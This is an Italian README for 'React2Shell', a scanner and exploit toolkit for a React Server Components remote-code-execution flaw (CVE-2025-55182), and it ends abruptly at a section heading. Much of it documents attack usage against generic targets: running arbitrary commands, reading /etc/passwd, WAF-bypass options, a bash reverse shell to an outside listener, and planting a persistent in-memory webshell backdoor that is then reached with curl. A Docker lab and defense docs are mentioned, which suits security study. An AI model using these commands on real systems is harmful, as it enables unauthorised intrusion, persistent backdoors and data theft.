React2Shell

Scanner e toolkit di exploit per CVE-2025-55182 per RCE su Next.js/React Server Components.

Struttura del repository

React2Shell/
├── browser-extension/    # Chrome extension for browser-based detection
│   ├── manifest.json
│   ├── content.js
│   ├── popup.html/js
│   └── background.js
├── cli/                  # Command-line scanner & exploit tool
│   ├── react2shell.py
│   └── requirements.txt
├── docs/                 # Learning-focused documentation
│   ├── README.md         # Learning path index
│   ├── 01-fundamentals.md
│   ├── 02-vulnerability.md
│   ├── 03-exploitation.md
│   ├── 04-frameworks.md
│   └── 05-defense.md
├── lab/                  # Docker lab environment for testing
│   ├── vulnerable/       # Vulnerable Next.js app (React 19.2.0)
│   ├── patched/          # Patched Next.js app (React 19.2.1)
│   ├── waf/              # ModSecurity WAF container
│   ├── waku-app/         # Vulnerable Waku app (React 19.2.0)
│   ├── react-router-app/ # Vulnerable React Router app (React 19.2.0)
│   └── docker-compose.yml
└── nuclei/               # Nuclei templates
    ├── CVE-2025-55182.yaml       # RCE detection (executes code)
    └── CVE-2025-55182-safe.yaml  # Safe side-channel detection

Avvio rapido

Strumento CLI

cd cli
pip install -r requirements.txt

# Scan a target
python react2shell.py https://target.com

# Execute command
python react2shell.py https://target.com -c "id"

# Interactive shell
python react2shell.py https://target.com -i

Estensione del browser

1. Apri chrome://extensions/
2. Attiva la "Modalità sviluppatore"
3. Clicca "Carica decompressa"
4. Seleziona la directory browser-extension

Ambiente di laboratorio

cd lab
docker-compose up -d

# Exploitable targets:
# Next.js Vulnerable:    http://localhost:3011  ← Full RCE
# Waku Vulnerable:       http://localhost:3014  ← RCE (blind - no HTTP output)
# React Router:          http://localhost:3015  ← Full RCE (ESM)

# Protected targets:
# Next.js Patched:       http://localhost:3012  ← Secure
# WAF Protected:         http://localhost:3013  ← ModSecurity blocks exploits

Scanner Nuclei

nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com

Funzionalità

Strumento CLI (cli/react2shell.py)

• Supporto multi-framework - Next.js, Waku, React Router, Expo, Vite RSC, Parcel RSC
• Rilevamento framework (--detect) - Rileva automaticamente il framework target
• Enumerazione endpoint (-E) - Scopri gli endpoint RSC automaticamente
• Scansione vulnerabilità - Singolo URL o scansione batch da file
• Esecuzione comandi (-c) - Esegui comandi arbitrari
• Shell interattiva (-i) - Sessione di comando persistente
• Reverse shell (-r) - Molteplici tipi: nc, bash, perl, python, ruby
• Webshell in memoria (--webshell) - Installazione persistente di backdoor
• Lettura file (-f) - Leggi file remoti direttamente
• Scansione locale (-L) - Controlla package.json per versioni vulnerabili
• Bypass WAF - Padding di junk (-w), codifica Unicode (-u), specifico per Vercel (-V)
• Supporto proxy (-x) - Instradamento tramite Burp Suite o altri proxy
• Modalità sicura (-s) - Rilevamento side-channel senza esecuzione di codice

Estensione del browser (browser-extension/)

• Rilevamento automatico degli indicatori di vulnerabilità RSC
• Percorsi di exploit configurabili
• Esecuzione comandi con visualizzazione output
• Attivazione/disattivazione
• Indicatori visivi vulnerabile/sicuro

Ambiente di laboratorio (lab/)

• Next.js vulnerabile (3011) - RCE completa con output tramite X-Action-Redirect
• Waku (3014) - RCE confermata, richiede il formato percorso /RSC/F/{x}/{y}.txt
• React Router (3015) - RCE completa utilizzando process.getBuiltinModule() compatibile con ESM
• Next.js corretto (3012) - Per testare il rilevamento senza sfruttamento
• Protetto da WAF (3013) - Regole ModSecurity per ricerca di bypass
• Dashboard (8080) - Registrazione e visualizzazione degli attacchi

Esempi di utilizzo CLI

# Basic scan (auto-detects framework)
python react2shell.py https://target.com

# Detect framework and enumerate endpoints
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v

# Execute command on different frameworks
python react2shell.py https://target.com -c "id"                    # Next.js (auto)
python react2shell.py https://target.com -F waku -c "id"            # Waku (blind RCE)
python react2shell.py https://target.com -F react-router -c "id"    # React Router (ESM)

# Lab examples with output
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt"  # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id"        # React Router

# Execute command with all WAF bypasses
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u

# Interactive shell through proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080

# Install in-memory webshell (creates backdoor on port 1337)
python react2shell.py https://target.com --webshell mypassword
# Access: curl 'http://target:1337/?p=mypassword&cmd=id'

# Reverse shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash

# Scan local project for vulnerable versions
python react2shell.py -L /path/to/project

# Batch scan with output
python react2shell.py targets.txt -t 20 -o results.json -v

Tutte le opzioni CLI

Opzioni di esecuzione:
  -c, --cmd             Comando da eseguire
  -i, --interactive     Sessione shell interattiva
  -r, --reverse         Modalità reverse shell
  -l, --lhost           Host di ascolto
  -p, --lport           Porta di ascolto
  -S, --shell-type      Tipo di shell (nc, nc-mkfifo, bash, perl, python, ruby)
  -f, --read-file       Leggi un file remoto

Opzioni di scansione:
  -P, --path            Percorsi da testare (separati da virgola o file)
  -t, --threads         Numero di thread (predefinito: 10)
  -T, --timeout         Timeout richiesta in secondi (predefinito: 10)
  -s, --safe            Modalità sicura (nessuna esecuzione di codice)
  -L, --local           Scansiona directory progetto locale
  -F, --framework       Framework target (auto, nextjs, waku, react-router, expo)
  -E, --enumerate       Enumera endpoint RSC prima dello sfruttamento
  --detect              Rileva solo il framework e elenca gli endpoint
  --webshell            Installa webshell in memoria sulla porta 1337
  --rce                 Modalità proof-of-concept RCE (predefinita: modalità sicura)

Opzioni di bypass:
  -w, --waf-bypass      Padding di dati junk
  -W, --waf-size        Dimensione junk in KB (predefinito: 128)
  -u, --unicode         Bypass codifica Unicode
  -V, --vercel-bypass   Bypass specifico per Vercel
  --windows             Payload PowerShell per Windows

Opzioni di richiesta:
  -x, --proxy           URL proxy (es. http://127.0.0.1:8080)
  -H, --header          Intestazioni personalizzate
  -A, --user-agent      User-Agent personalizzato
  -k, --insecure        Disabilita verifica SSL

Opzioni di output:
  -o, --output          Salva risultati in JSON
  -v, --verbose         Output dettagliato con rilevamento versione
  -q, --quiet           Mostra solo target vulnerabili
  --no-color            Disabilita colori
  --no-banner           Nascondi banner

Dettagli CVE-2025-55182

Campo	Valore
CVSS	10.0 (Critico)
Impatto	Esecuzione remota di codice non autenticata
Affetti	Qualsiasi framework RSC che utilizza versioni vulnerabili di React
Meccanismo	Inquinamento del prototipo tramite React Flight Protocol

Framework affetti